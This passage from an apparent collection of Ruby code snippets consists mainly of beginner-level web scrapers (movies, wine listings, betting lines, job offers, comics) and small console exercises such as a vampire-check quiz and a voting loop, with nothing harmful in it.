description+=w+' '\n end\n #linkVenue=page.css('div#listingheader p.nextevent a')[0]['href']\n #puts description\n yield description\nend", "def end_verse\n @mode = nil\n verse(book_num: @book_num, book_id: @book_id, book: @book, chapter: @chapter, verse: @verse, text: @text)\n end", "def read_success(novel)\n case novel\n when \"Best Submissions\" then\n page(MorePage).select_more_actions(\"Best Submissions\")\n page(MorePage).page_handler(\"Best Submissions\")\n page(FeedDetailsPage).touch_row\n page(MorePage).page_handler(\"Submission\")\n page(MorePage).backpage\n page(MorePage).backpage\n when \"Active Discussions\" then\n page(MorePage).select_more_actions(\"Active Discussions\")\n page(MorePage).page_handler(\"Active Discussions\")\n page(FeedDetailsPage).touch_row\n page(MorePage).page_handler(\"Active\")\n page(MorePage).story_time\n page(MorePage).backpage\n page(MorePage).backpage\n page(MorePage).page_handler(\"Active Discussions\")\n page(MorePage).backpage\n when \"archived submissions\" then\n page(MorePage).select_more_actions(\"Classic View\")\n page(MorePage).page_handler(\"Classic View\")\n page(FeedDetailsPage).touch_row\n page(MorePage).page_handler(\"Submission\")\n page(MorePage).table_view\n page(MorePage).find_item\n page(MorePage).backpage\n page(MorePage).page_handler(\"Classic View\")\n page(MorePage).backpage\n end\nend", "def scrape_details(selected_movie)\n\n # data = UpcomingMovies::New_movies.find(index)\n doc = Nokogiri::HTML(open(selected_movie.href))\n\n selected_movie.details(\n title: doc.search(\"h1\").text.strip.split(\"\\n\").first,\n release_date: doc.search(\"ul.movie-details__detail li.movie-details__release-date\").text.strip,\n synopsis: doc.search(\"p.mop__synopsis-content\").text.strip)\n # selected_movie.save\n # binding.pry\n\n\n\n # @movie_data.details({\n # title: doc.search(\"h1.subnav__title.heading-style-1.heading-size-xl\").text.strip.split(\"\\n\").first,\n # release_date: doc.search(\"ul.movie-details__detail li.movie-details__release-date\").text.strip,\n # synopsis: doc.search(\"p.mop__synopsis-content\").text.strip})\n\n # UpcomingMovies::New_movies.new.details({\n # title: doc.search(\"h1.subnav__title.heading-style-1.heading-size-xl\").text.strip.split(\"\\n\").first,\n # release_date: doc.search(\"ul.movie-details__detail li.movie-details__release-date\").text.strip,\n # synopsis: doc.search(\"p.mop__synopsis-content\").text.strip})\n # binding.pry\n\n\n\n # title = doc.search(\"h1.subnav__title.heading-style-1.heading-size-xl\").text.strip.split(\"\\n\").first\n # release_date = doc.search(\"ul.movie-details__detail li.movie-details__release-date\").text.strip\n # synopsis = doc.search(\"p.mop__synopsis-content\").text.strip\n # UpcomingMovies::New_movies.details(title, release_date, synopsis)\n # end\n\n\n # title = doc.search(\"h1.subnav__title.heading-style-1.heading-size-xl\").text.strip.split(\"\\n\").first\n # release_date = doc.search(\"ul.movie-details__detail li.movie-details__release-date\").text.strip\n # synopsis = doc.search(\"p.mop__synopsis-content\").text.strip\n # UpcomingMovies::Movie_data.new(title, release_date, synopsis)\n # end\n\n\n end", "def make_breeds\n html = Nokogiri::HTML(open(\"http://www.vetstreet.com/cats/breeds\")) \n html.css(\"div.desktop-experience #hub-breed-list-container\").children[3].css(\"a\").each do |b| \n breed = CatBreeds::Breed.new(b.text) \n breed.web = URL+b.attribute(\"href\").value \n end \n\n end", "def main()\n print_logo()\n print_author_info() \n print_version_info()\n print_all_magazines_info()\n break_option = get_break_option()\n choose_specific_magazine_option = get_choose_specific_magazine_option()\n magazine_number = get_magazine_number(choose_specific_magazine_option)\n\n magazines_to_crawl = Hash.new\n\n if choose_specific_magazine_option and magazine_number > 0 then\n print \"Iniciando procedimento para UMA REVISTA ESPECÍFICA... \"\n selected_magazine_name, select_magazine_url = select_magazine_info(magazine_number - 1)\n magazines_to_crawl[selected_magazine_name] = select_magazine_url\n print \"OK.\\n\".green\n else \n print \"Iniciando procedimento para TODAS AS REVISTAS... \"\n magazines_to_crawl = $magazines_urls\n print \"OK.\\n\".green\n end\n\n magazines_to_crawl.each do |mag_name, mag_url|\n show_magazine_info(mag_name)\n mag_index_pages = get_mag_index_pages(mag_url)\n puts \"Total de páginas com edições: \" + mag_index_pages.length.to_s.blue\n mag_index_pages.each_with_index do |index_url, i|\n puts \"=+=+=+=+=\", \"Interpretando página \" + (i+1).to_s.light_blue\n # the function has scielo treatment\n edition_urls, is_scielo = get_edition_urls(index_url)\n edition_urls.each_with_index do |ed_url, index|\n puts \"-*-*-*-*-\"\n puts \"Interpretando \" + ((index+1).to_s + \"ª\").blue + \" edição...\" \n articles_urls_list = get_articles_links_from_edition_url(ed_url, is_scielo)\n # there's an intermediate page. Try to put '/showToc' in url\n # and execute again\n if articles_urls_list.length < 1 then\n ed_url = ed_url + \"/showToc\"\n articles_urls_list = get_articles_links_from_edition_url(ed_url, is_scielo)\n end\n articles_urls_list.each do |a_url|\n article_data = get_article_data_from_article_url(a_url)\n article_object = Article.new(article_data)\n print_article_info(article_object)\n begin\n save_article_object_to_db(article_object)\n rescue => e\n chew_error_and_print_message(e)\n end\n end \n end\n end\n end\n puts \"Fim \" + \";\".blue + \")\".red\n puts \"========================\"\nend", "def crawl\n cnt = 0\n rows = @page.search(\"//table/tr\")\n rows.each do |row|\n cnt = cnt + 1\n data = row.search(\"td\")\n if cnt > 2\n song_url = \"http://p.eagate.573.jp\" + data.search('a/@href').text.strip\n /mid=(.*)/ =~ song_url\n mid = Regexp.last_match[1].to_s.strip\n song_name = data.search('a').text.strip\n ext = row.search('td[5]').text.strip\n adv = row.search('td[4]').text.strip\n bas = row.search('td[3]').text.strip\n\n if ext != '-'\n @ext_total = @ext_total + ext.to_i\n @ext_num = @ext_num + 1\n end\n\n if adv != '-'\n @adv_total = @adv_total + adv.to_i\n @adv_num = @adv_num + 1\n end\n\n if bas != '-'\n @bas_total = @bas_total + bas.to_i\n @bas_num = @bas_num + 1\n end\n\n #update song's scores\n if song = @user.songs.find_by(mid: mid)\n song.bas_score = bas\n song.adv_score = adv\n song.ext_score = ext\n song.save\n else\n # get song's level\n @test = @agent.get song_url\n seqs = @test.search(\"div.seq\")\n tmp = seqs[0].search(\"tr.head\").text.strip\n /LEVEL : (.*)/ =~ tmp\n bas_lv = Regexp.last_match[1].strip\n tmp = seqs[1].search(\"tr.head\").text.strip\n /LEVEL : (.*)/ =~ tmp\n adv_lv = Regexp.last_match[1].strip\n tmp = seqs[2].search(\"tr.head\").text.strip\n /LEVEL : (.*)/ =~ tmp\n ext_lv = Regexp.last_match[1].strip\n\n @user.songs.create!(name: song_name, bas_score: bas, adv_score: adv, ext_score: ext, bas_lv: bas_lv, adv_lv: adv_lv, ext_lv: ext_lv, mid: mid)\n end\n\n puts \"#{ song_name } \".colorize(:cyan) + \"紅譜:#{ ext } \".colorize(:red) + \"黃譜:#{ adv } \".colorize(:yellow) + \"綠譜:#{ bas }\".colorize(:green)\n end\n end\n end", "def scrape_venue(url,date,eventId)\n latitude=longitude=address=tel=venueInfo=starts=ends=\"\"\n page = get_url_or_cache(url)\n #puts 'name : '+page.css('div#listingheader h2')[0].inner_text\n scriptMap = page.css('div.venue-map script').inner_text\n scriptMapArray = scriptMap.split(/\\n/)\n scriptMapArray.each {|line|\n line=line.split(/\"/)\n #puts \"latitude : \"+line[3] if line[1]=='latitude'\n latitude=line[3] if line[1]=='latitude'\n #puts \"longitude : \"+line[3] if line[1]=='longitude'\n longitude=line[3] if line[1]=='longitude'\n }\n details = page.css('div#listing-details li').each { |detail|\n detailSplit = detail.inner_text.split(/:/)\n detail=detail.inner_text\n detail.strip!\n detailSplit[0].strip!\n if(detailSplit[0]=='Address')\n #puts \"Venue address: \"+detail.gsub('Address: ','')\n address=detail.gsub('Address: ','')\n elsif(detailSplit[0]=='Tel')\n #puts \"Venue phone number: \"+detail.gsub('Tel: ','')\n tel=detail.gsub('Tel: ','')\n else\n #puts \"Other info: \"+detail\n venueInfo+=detail\n end\n }\n\n allEvents = page.css('table.event-table tr').each {|rowEvent|\n if((rowEvent.css('td')[0].inner_text == date) && (rowEvent.css('td')[3].css('a')[0]['href'].include? eventId.to_s))\n #puts \"Start time: \"+rowEvent.css('td')[1].inner_text.gsub('Starts ','')\n starts=rowEvent.css('td')[1].inner_text.gsub('Starts ','')\n #puts \"End time: \"+rowEvent.css('td')[2].inner_text.gsub('Ends ','')\n ends=rowEvent.css('td')[2].inner_text.gsub('Ends ','')\n break\n end\n }\n\n yield latitude,longitude,address,tel,venueInfo,starts,ends\nend", "def vchecker\n\n\t#sets vampire status\n\tvstatus = \"Inconclusive\"\n\n\t#gathers information\n\tputs \"what's your name\"\n\tvname = gets.chomp\n\tputs \"how old are you\"\n\tvage = Integer(gets)\n\tputs \"when year you born?\"\n\tvbirth = Integer(gets)\n\tputs \"Our company cafeteria serves garlic bread. Should we order some for you? (yes/no)\"\n\tvgb = gets.chomp\n\tputs \"Would you like to enroll in the company’s health insurance? (yes/no)\"\n\tvhs = gets.chomp\n\t###\n\n\n\t#sets conditionals to establish truth values for vampire traits\n\tif ((vbirth + vage) > 2014) && ((vbirth + vage) < 2017)\n\t\tvbirthboolean = true\n\telse vbirthboolean = false\n\tend\n\n\tvgbboolean = true\n\tif vgb == \"no\"\n\t\tvgbboolean = false\n\tend\n\n\tvhsboolean = true\n\tif vhs == \"no\"\n\t\tvhsboolean = false\n\tend\n\t####\n\n\t#determines vampire status\n\tif vbirthboolean && vgbboolean\n\t\tvstatus = \"probably not a vampire\"\n\tend\n\n\tif !vbirthboolean && !vgbboolean\n\t\tvstatus = \"probably a vampire\"\n\tend\n\n\tif !vbirthboolean && !vgbboolean && !vhsboolean\n\t\tvstatus = \"almost certainly a vampire\"\n\tend\n\n\tif (vname == \"Drake Cula\") || (vname == \"Tu Fang\")\n\t\tvstatus = \"definitely a vampire\"\n\tend\n\n\n\t#Asks the canidate for allergies, AFTER establishing the boolean\n\t#makes a counter, adds one for each response\n\tputs \"Do you have any allergies? List them one at a time and hit enter after each entry\"\n\tanumber = 1\n\tallergylist = nil\n\t#sets the index at 1 and the allergy list\n\n\n\tuntil anumber == 0\n\t\t#the loop will keep running until the user types \"done,\" at which point the index is set at zero\n\t\t#note that this is not storing the data in any significant way\n\t\tputs \"Allergy number #{anumber}\"\n\t\t\n\t\tallergyresponse = gets.chomp\n\t\t\n\n\t\tif allergyresponse == \"sunshine\"\n\t\t\tvstatus = \"Definitely a vampire\"\n\t\t\tanumber = 0\n\t\telsif allergyresponse == \"done\"\n\t\t\tanumber = 0\n\t\telse\n\t\t\tallergylistnumber = anumber.to_s\n\t\t\tallergylist = \"#{allergylist} #{allergylistnumber}, #{allergyresponse}\"\n\t\t\tanumber += 1\n\t\tend\t\n\tend\n\tputs \"listed allergies #{allergylist}\"\n\t\n\n\t#Prints Vampire Status#\n\tcase vstatus\n\twhen \"Inconclusive\"\n\t\tputs \"the results of the test are Inconclusive\"\n\telse\n\t\tputs \"The results of the test have determined that #{vname} is #{vstatus}\"\n\tend\n\n\n\t\nend", "def vote\r\n while @v < 20 do\r\n puts \"\\n\"*2+'Type the name of the candidate you want to vote for:'+\"\\n\"*2\r\n @vote = gets.chomp.strip\r\n case @vote.downcase\r\n when 'mika'\r\n @votes[0]+=1\r\n @v+=1\r\n puts \"\\n\"+'You voted for Mika.'.center(93)+\"\\n\"*2+'Thank you for voting.'.center(93)\r\n gets\r\n header\r\n hi\r\n break #so it won't go through the rest of the loop\r\n when 'reggie'\r\n @votes[1]+=1\r\n @v+=1\r\n puts \"\\n\"+'You voted for Reggie.'.center(93)+\"\\n\"*2+'Thank you for voting.'.center(93)\r\n gets\r\n header\r\n hi\r\n break\r\n when 'kenneth'\r\n @votes[2]+=1\r\n @v+=1\r\n puts \"\\n\"+'You voted for Kenneth.'.center(93)+\"\\n\"*2+'Thank you for voting.'.center(93)\r\n gets\r\n header\r\n hi\r\n break\r\n when 'trevor'\r\n @votes[3]+=1\r\n @v+=1\r\n puts \"\\n\"+'You voted for Trevor.'.center(93)+\"\\n\"*2+'Thank you for voting.'.center(93)\r\n gets\r\n header\r\n hi\r\n break\r\n when 'end'\r\n votetally\r\n break\r\n else\r\n puts \"\\n\"+'That is not one of the candidates. Pls try again.'.center(93)\r\n gets\r\n header\r\n hi\r\n end\r\n end\nvotetally\r\nend", "def scrape_altgenres(starting_number)\n n = starting_number\n loop do\n begin \n netflix_page = agent.get(\"http://movies.netflix.com/WiAltGenre?agid=#{n}\")\n rescue \n retry\n end\n genre = netflix_page.at('#page-title a').content\n puts \"netflix genre #{n} is #{genre}\"\n File.open(\"netflix_genres.txt\", 'a+') {|f| f.write( n.to_s + \"\\t\" + genre + \"\\n\") } \n n += 1\n end \nend", "def parse_book!\n # if not book\n unless @page.search(\"a[@class='eBreadCrumbs_link']/@href\").to_a[0].to_s.include?('div_book')\n @to_skip = true\n return false\n end\n\n @genre = get_genre(\n @page.search(\"a[@class='eBreadCrumbs_link']/@href\").to_a[1].to_s,\n @page.search(\"a[@class='eBreadCrumbs_link']/@href\").to_a[2].to_s\n # @page.search(\"ul.navLine/li:nth-of-type(2)\").search(\"*/a/@href\").text, # li with 1-st level category\n # @page.search(\"ul.navLine/li:nth-of-type(3)\").search(\"*/a/@href\").text # li with 2-nd level category\n )\n @title = @page.search(\"div.details-main//h1\").text.sub(/\\(+[^\\(\\)]*\\)+\\s*$/, '').squish\n @author_last, @authors_all = get_authors\n # @coverid = /\\/(\\w+)\\.jpg/.match(@page.search(\"div#detailGalleryMini//div.img/img/@src\").text)\n @coverid = /\\/(\\w+)\\.jpg/.match(@page.search(\"//img[contains(@class, 'eMicroGallery_fullImage')]/@src\").text)\n @coverid = @coverid[1] if @coverid.present?\n # cover can be 'noimg_200x200'\n\n # skip not russian & not english books\n # languages = @page.search(\"//div[contains(@class,'product-detail')]/p[contains(text(), 'Языки')]\").text.squish\n languages = @page.search(\"//p[@itemprop='inLanguage']\").text.squish\n\n if (languages.present? && languages !~ /(Английский|Русский)/ui) || @coverid =~ /noimg/ ||\n @coverid.blank? || !OzonBookParser.cover_exist(@agent, @coverid)\n @to_skip = true\n return false\n end\n\n state_valid?\n end", "def edeka_1\n @edeka = Shop.find_or_initialize_by(id: 5, name: \"Edeka\",shop_logo: \"edeka24.jpg\")\n @edeka.save\n \n vintage = []\n prod_desc = []\n price = []\n prod_title =[]\n taste =[]\n category = []\n prod_mhd = []\n name = []\n product_url = []\n image_url = []\n inhalt = []\n price_per_litre_string = []\n $check2 = 0\n \n \n #deutsche weine\n url =\"https://www.edeka24.de/Getraenke/Deutsche+Weine/?force_sid=l2tep3m7uche07igtpfio7sh47&ldtype=&_artperpage=100&pgNr=0&cl=alist&searchparam=&cnid=d4b674347abffda7caa0e3f4d813c631\"\n page = Nokogiri::HTML(open(url))\n \n p \"h1\" \n page.css('.productImage a').each do |line| \n product_url << line['href']\n end\n \n \n p \"h2\" \n $check2 = 0\n page.css('div.product-top-box h2 a span').each do |line|\n name << line.text\n line = line.text\n if line.scan(/\\b\\d{4}\\b/)\n line = line.scan(/\\b\\d{4}\\b/).first\n \n if !line.nil? and line != \"\" and line.include? \"20\"\n p line\n $check2 = 1\n vintage << line\n else\n vintage << \"n/a\"\n end \n \n else\n vintage << \"n/a\"\n end\n end\n \n counter = name.length\n \n p \"h3\" \n #page.css('.productImage a').each do |i|\n #mainContent > div.teaserContainer.clearfix > div:nth-child(2) > \n #mainContent > div.teaserContainer.clearfix > div:nth-child(9) > div.productImage > a > img\n \n # image_url << i\n #end\n p \"h4\" \n page.css('.price.roundCorners').each do |preis|\n price_converted = preis.text.gsub(\" \", \"\")\n price2 = price_converted.gsub(',', '.')\n #price2 = price2.sub(\"€*\",\"\")\n \n price << price2\n \n end \n \n \n \n \n page.css('.package').each do |line|\n line = line.text\n line = line.gsub!(\"Inhalt: \",\"\")\n line = line.gsub!(\" ltr\",\"\")\n line = line.gsub!(\" \", \"\")\n line = line.gsub!(\"\\n\", \"\")\n inhalt << line\n end \n \n # page.css('pricePerUnit').each do |line|\n # line = line.text\n # line = line.gsub!(\" €/1 ltr\", \"\")\n # line = line.gsub!(\" \", \"\")\n # price_per_litre_string << line\n #end\n \n \n p \"h5\" \n \n # name.length.times do |line|\n \n # category << 'Rotwein' \n # prod_mhd << 'https://cdn-1.vetalio.de/media/catalog/product/cache/1/logo/150x100/9df78eab33525d08d6e5fb8d27136e95/e/d/edeka24.png'\n # end\n\n\n #vintage\n \n \n \n \n product_url.each do |y|\n page = Nokogiri::HTML(open(y))\n page.xpath('//*[@id=\"zoom1\"]').each do |line|\n line = line['href']\n image_url << line\n end\n \n page.xpath('//*[@id=\"productPriceUnit\"]').each do |line|\n line = line.text\n line = line.gsub!(\"(\",\"\")\n line = line.gsub!(\")\",\"\")\n price_per_litre_string << line\n end \n \n end \n \n \n \n \n \n count = product_url.length \n \n count.times do |i|\n \n delinero_wein = @edeka.bottles.find_or_initialize_by(product_url: product_url[i])\n delinero_wein.name = name[i]\n delinero_wein.image_url = image_url[i]\n delinero_wein.product_url = product_url[i]\n delinero_wein.price = price[i]\n delinero_wein.vintage = vintage[i]\n delinero_wein.inhalt = inhalt[i]\n delinero_wein.category = \"Rotwein\"\n delinero_wein.price_per_litre_string = price_per_litre_string[i]\n \n \n delinero_wein.save\n \n end\nend", "def start_verse(attributes)\n @verse = Hash[attributes]['id'].to_i\n @text = ''\n @mode = 'verse'\n end", "def driver_method\n flash[:alert] = \"Your resume has been sent to the company. You will be contacted if you are a good fit for this job.\"\n bumeran = \"http://bumeran.com.mx/\"\n page = HTTParty.get(bumeran)\n parsed_page = Nokogiri::HTML(page)\n #add some variables here that can access the data from bumeran\n end", "def parse_bs(game, site, search, path)\r\n\t# get box scores. complete.\r\n\tpage_raw = open_url(\"#{site}boxscores/#{game}.html\")\r\n\ttable_starts = get_start_pos(page_raw, search, 0, page_raw.length)\r\n\tfix_bs_starts(page_raw, table_starts)\r\n\ttables = get_tables(page_raw, table_starts)\r\n\tyaml_files(tables, path, \"zbs_#{game}.yml\")\r\n\treturn 1 if tables.any?\r\n\treturn 0\r\nend", "def extract_chapter(article)\n article_url = @lfs_base_url + \"/#{@lfs_branch}/\" + article\n puts \"fetching : #{article_url} .. \"\n article_content= Nokogiri::HTML(open(article_url))\n\n script = Array.new\n article_content.css('pre.userinput').each {|my_match|script << my_match.content}\n \n script = NIL unless script.size > 0\n script\n \nend", "def edeka_2\n @edeka = Shop.find_or_initialize_by(id: 5, name: \"Edeka\",shop_logo: \"edeka24.jpg\")\n @edeka.save\n \n \n \n vintage = []\n prod_desc = []\n price = []\n prod_title =[]\n taste =[]\n category = []\n prod_mhd = []\n name = []\n product_url = []\n image_url = []\n inhalt = []\n price_per_litre_string = []\n $check2 = 0\n \n \n url =\"https://www.edeka24.de/index.php?force_sid=939nd3t7dv6il37sat0anbc694&\"\n page = Nokogiri::HTML(open(url))\n \n p \"h1\" \n page.css('.productImage a').each do |line| \n product_url << line['href']\n end\n \n \n p \"h2\" \n $check2 = 0\n page.css('div.product-top-box h2 a span').each do |line|\n name << line.text\n line = line.text\n if line.scan(/\\b\\d{4}\\b/)\n line = line.scan(/\\b\\d{4}\\b/).first\n \n if !line.nil? and line != \"\" and line.include? \"20\"\n p line\n $check2 = 1\n vintage << line\n else\n vintage << \"n/a\"\n end \n \n else\n vintage << \"n/a\"\n end\n end\n \n counter = name.length\n \n p \"h3\" \n #page.css('.productImage a').each do |i|\n #mainContent > div.teaserContainer.clearfix > div:nth-child(2) > \n #mainContent > div.teaserContainer.clearfix > div:nth-child(9) > div.productImage > a > img\n \n # image_url << i\n #end\n p \"h4\" \n page.css('.price.roundCorners').each do |preis|\n price_converted = preis.text.gsub(\" \", \"\")\n price2 = price_converted.gsub(',', '.')\n #price2 = price2.sub(\"€*\",\"\")\n \n price << price2\n \n end \n \n \n \n \n page.css('.package').each do |line|\n line = line.text\n line = line.gsub!(\"Inhalt: \",\"\")\n line = line.gsub!(\" ltr\",\"\")\n line = line.gsub!(\" \", \"\")\n line = line.gsub!(\"\\n\", \"\")\n inhalt << line\n end \n \n # page.css('pricePerUnit').each do |line|\n # line = line.text\n # line = line.gsub!(\" €/1 ltr\", \"\")\n # line = line.gsub!(\" \", \"\")\n # price_per_litre_string << line\n #end\n \n \n p \"h5\" \n \n # name.length.times do |line|\n \n # category << 'Rotwein' \n # prod_mhd << 'https://cdn-1.vetalio.de/media/catalog/product/cache/1/logo/150x100/9df78eab33525d08d6e5fb8d27136e95/e/d/edeka24.png'\n # end\n\n\n #vintage\n \n \n \n \n product_url.each do |y|\n page = Nokogiri::HTML(open(y))\n page.xpath('//*[@id=\"zoom1\"]').each do |line|\n line = line['href']\n image_url << line\n end\n \n page.xpath('//*[@id=\"productPriceUnit\"]').each do |line|\n line = line.text\n line = line.gsub!(\"(\",\"\")\n line = line.gsub!(\")\",\"\")\n price_per_litre_string << line\n end \n \n end \n \n \n \n \n \n count = product_url.length \n \n count.times do |i|\n \n delinero_wein = @edeka.bottles.find_or_initialize_by(product_url: product_url[i])\n delinero_wein.name = name[i]\n delinero_wein.image_url = image_url[i]\n delinero_wein.product_url = product_url[i]\n delinero_wein.price = price[i]\n delinero_wein.vintage = vintage[i]\n delinero_wein.inhalt = inhalt[i]\n delinero_wein.category = \"Rotwein\"\n delinero_wein.price_per_litre_string = price_per_litre_string[i]\n \n \n delinero_wein.save\n \n end\nend", "def parse(file, sport)\n # open the html file using hpricot for processor - borrows the jquery syntax for selecting elements\n doc = open(file) { |f| Hpricot(f) }\n \n # grab all the game blocks - block for each day games occur on\n game_days = (doc/\".game-block\")\n\n # iterate through each game day\n game_days.each do |game_day|\n # grab the game date\n raw_date = (game_day/\".date\").inner_html.strip\n # clean\n raw_date = raw_date.gsub(\"EST\", \"\").strip\n # turn it into a ruby date so it's normalized & can easily be saved to db\n date = Date.parse(raw_date, '%a, %b %d, %Y')\n \n # grab array of games for that day\n games = (game_day/\"table.game-tbl\")\n # iterate through games\n games.each do |game|\n # grab team 1 & team 2 name, remove whitespace, remove html line breaks\n team1 = game.search(\"tr.visitor/td.team\").inner_html.strip.gsub(\"<br />\", \"\")\n team2 = game.search(\"tr.home/td.team\").inner_html.strip.gsub(\"<br />\", \"\")\n if (5 == sport.to_i || 4 == sport.to_i)\n team1 = normalize(team1)\n team2 = normalize(team2)\n end\n # make sure there is a team 1 and team 2\n unless (team1.length == 0 || team2.length == 0)\n # create a new line object\n line1 = Line.new\n # get the team id - this is a browser level method\n line1.team_id = get_team_id(team1, sport)\n # grab the spread and parse to a hash\n spread1 = parse_spread(game.search(\"tr.visitor/td.points\"))\n # assign the spread\n line1.spread = spread1['spread']\n # assign the spread vig\n line1.spread_vig = spread1[\"odds\"]\n # grab money line - split create an array of elements based on provided seperator character\n line1.money_line = game.search(\"tr.visitor/td.money/span\").inner_html.split(\"<\")[0]\n # grab total points, switching 1/2 to .5 so we can understand it\n total_points = game.search(\"table#tblTotal/tr/td.tall\").inner_html.strip.gsub(\"\\302\\275\", \".5\")\n line1.total_points = total_points\n # grab over under\n over_under = game.search(\"table#tblTotal/tr/td.wide/em\")\n line1.over_under = over_under(over_under[0].inner_html.strip) unless over_under[0].nil?\n # grab total points\n total_points_vig = game.search(\"table#tblTotal/tr/td.wide\")\n line1.total_points_vig = total_points_vig[0].inner_html.split(\" \")[1].strip unless total_points_vig[0].nil?\n # browser id needs to be unique for each site scraped\n line1.browser_id = @site_id\n \n # repeat for second team\n line2 = Line.new\n line2.team_id = get_team_id(team2, sport)\n #puts \"points: \"+game.search(\"tr.home/td.points\").inner_html\n spread2 = parse_spread(game.search(\"tr.home/td.points\"))\n line2.spread = spread2['spread']\n line2.spread_vig = spread2[\"odds\"]\n money_line = game.search(\"tr.home/td.money/span\")\n line2.money_line = money_line.inner_html.split(\"<\")[0] unless money_line.nil?\n line2.total_points = total_points\n over_under = game.search(\"table#tblTotal/tr/td.wide/em\")\n line2.over_under = over_under(over_under[1].inner_html.strip) unless over_under[1].nil?\n total_points_vig = game.search(\"table#tblTotal/tr/td.wide\")\n line2.total_points_vig = total_points_vig[1].inner_html.split(\" \")[1].strip unless total_points_vig[1].nil?\n line2.browser_id = @site_id\n\n # grab game id - browser level method\n if !line1.team_id.nil? && !line2.team_id.nil?\n line1.game_id = line2.game_id = get_game_id(line1.team_id, line2.team_id, date) \n \n #puts line1.to_s\n #puts line2.to_s\n \n #add lines to listener\n @listener.add(line1)\n \t\t\t @listener.add(line2)\n\t\t\t else\n \t\t\t puts \"bet us line failed to load line\"\n \t\t end\n end\n end\n end\n end", "def parse_text text\n\n if @debug\n puts \"=== parsing text to find Vacation ===\"\n puts text\n end\n\n text.split(/\\n/).each do |line|\n line.chomp!\n line.strip!\n if line =~ /^=vacation/i\n reset_parsed\n elsif line =~ /=end/i\n @closed = true\n break\n elsif line =~ /^(cancel|deactivate)/i\n cancel\n elsif line =~ /^activate:\\s*(now|jetzt)/i\n self.activated_at = Time.now - 1, freeze=true\n elsif line =~ /^(?:first|start|erster)\\s+(?:day|date|tag):(.+)/i\n self.starts_at = $1\n elsif line =~ /^(?:last|end|letzter)\\s+(?:day|date|tag):(.+)/i\n self.ends_at = $1\n elsif line =~ /^message:(.*)/i\n @message = $1.strip\n @parsing_message = true\n elsif parsing_message?\n @message << \"\\n\" << line\n end\n end\n\n validate\n end", "def extract_video_page_urls(webpage,options)\r\n puts \"Extracting data from html5 data\"\r\n webpage.css('li.regularitem').each do |post|\r\n link = post.css('h4.itemtitle').css('a').first\r\n description = post.css('div.itemcontent').first.text\r\n download_episode(link.child.text,link['href'],description, options)\r\n end\r\nend", "def get_pack_data(pack)\n\tputs \"Verses needed for #{pack.get_title}\"\n\turl = get_search_url(pack.verses)\n\tdata = get_search_result(url)\n\tpassages = get_passages(data)\n\t\n\tverses = [];\n\tpassages.each do |passage|\n\t\tverses.push(distill(passage))\n\t\t#puts verse.to_s\n\tend\n\treturn verses\nend", "def pull_offers(keyword, indeed_offers)\n puts \"Pulling result cards from the \\\"#{keyword}\\\" search\"\n domain = 'https://www.indeed.com.mx/'\n url = \"trabajo?q=#{keyword}&remotejob=032b3046-06a3-4876-8dfd-474eb5e7ed11\"\n html_content = open(domain + url).read\n doc = Nokogiri::HTML(html_content)\n # This var verifies if there are multiple pages of results\n next_page_button = doc.search('path')\n next_page_button = next_page_button.search('*[d=\"M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6-6-6z\"]').text\n unless next_page_button.empty?\n # If there are multiple pages it will iterate though all of the result pages\n gather_offers_per_page(doc, indeed_offers)\n current_page = 1\n while next_page_button.empty? == true\n next_page = \"&start=#{current_page}0\"\n html_content = open(domain + url + next_page).read\n doc = Nokogiri::HTML(html_content)\n # This var verifies if there are multiple pages of results\n gather_offers_per_page(doc, indeed_offers)\n current_page += 1\n next_page_button = doc.search('path')\n next_page_button = next_page_button.search('*[d=\"M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6-6-6z\"]')\n end\n else\n gather_offers_per_page(doc, indeed_offers)\n end\n end", "def scrape_season\n doc = Nokogiri::HTML(open(url))\n \n seasonality_url = doc.search(\"#survival-guide ul li:nth-child(2) a\").attr(\"href\").text #get country weather url\n weather_pg = Nokogiri::HTML(open(seasonality_url))\n \n #get high, low, and best time to visit information\n @high_season = weather_pg.search(\"div.card--page__content p:nth-child(1)\").text\n @low_season = weather_pg.search(\"div.card--page__content p:nth-child(5)\").first.text\n\n shoulder_season = weather_pg.search(\"div.card--page__content p:nth-child(3)\").first.text\n @best_visit_season = \"Best time to visit \" + shoulder_season[16..-1]\n end", "def verse(n)\n\t\tbefore = bottles_as_str(n) \n\t\tafter = bottles_as_str(n-1)\n\t\tputs \"#{before} of beer on the wall,\",\n\t\t\t \"#{before} of beer,\",\n\t\t\t \"Take one down, pass it around,\",\n\t\t\t \"#{after} of beer on the wall.\"\n\tend", "def fetch_title_marvel(publisher, title, url, date = nil) \n log(\"retrieving title information for [#{title}]\", :debug)\n doc = Hpricot(open(url))\n \n display_description = (doc/\"font[@class=plain_text]\").innerHTML\n\n title = RubyPants.new(title, -1).to_html\n display_name, display_number = title.split('#')\n display_name = check_title(display_name)\n display_number = display_number.split(' ')[0] unless display_number.nil?\n \n new_record = false\n \n if display_number.nil?\n # SoloBook\n model = SoloBook.find_by_name(display_name)\n \n if model.nil?\n model = SoloBook.new(:name => display_name, \n :publisher => publisher)\n new_record = true\n end\n \n else\n # Episode\n series = Series.find_by_name(display_name)\n \n if series.nil?\n # Series doesn't exist, create new Series\n series = Series.create!(:name => display_name, \n :publisher => publisher)\n log(\"created new series [#{display_name}]\", :info)\n model = series.episodes.build({ :number => display_number })\n new_record = true\n else\n # Add episode to existing series\n if series.find_episode(display_number).nil?\n model = series.episodes.build({ :number => display_number })\n new_record = true\n else\n model = series.find_episode(display_number)\n end\n end\n end\n \n display_talent, display_description = display_description.split(\"<strong>THE STORY:</strong>\")\n display_description ||= \"\" # if description was empty make sure it's non-nil\n display_description = display_description.split(\"<strong>PRICE:</strong>\")[0]\n \n model.talent = html2text(display_talent).strip.titleize\n model.description = html2text(display_description).strip\n model.published_on = date\n \n model.save!\n new_record ? log(\"created new book [#{title}]\", :info) : log(\"updated existing book [#{title}]\", :debug)\n \n if model.cover_image.nil?\n # get cover image (if we don't have one already)\n image_element = (doc/\"img\").select { |elem| elem.attributes['src'].match(/thumb/) }\n image_url = nil\n \n unless image_element.empty?\n image_url = image_element[0].attributes['src']\n image_url = \"#{URL_Marvel}#{image_element[0].attributes['src'].gsub('_thumb', '_full')}\" # full size art\n end\n \n get_cover_image(model, image_url)\n end\n \n rescue ActiveRecord::RecordInvalid => e\n log(\"failed to create book [#{title}]\", :info)\n log(\"errors: #{model.errors.full_messages.join(', ')}\", :info)\n return false\n end", "def requested_verses\r\n requested_verse_numbers = Array(end_verse..start_verse).reverse\r\n requested_verses = \"\"\r\n\r\n 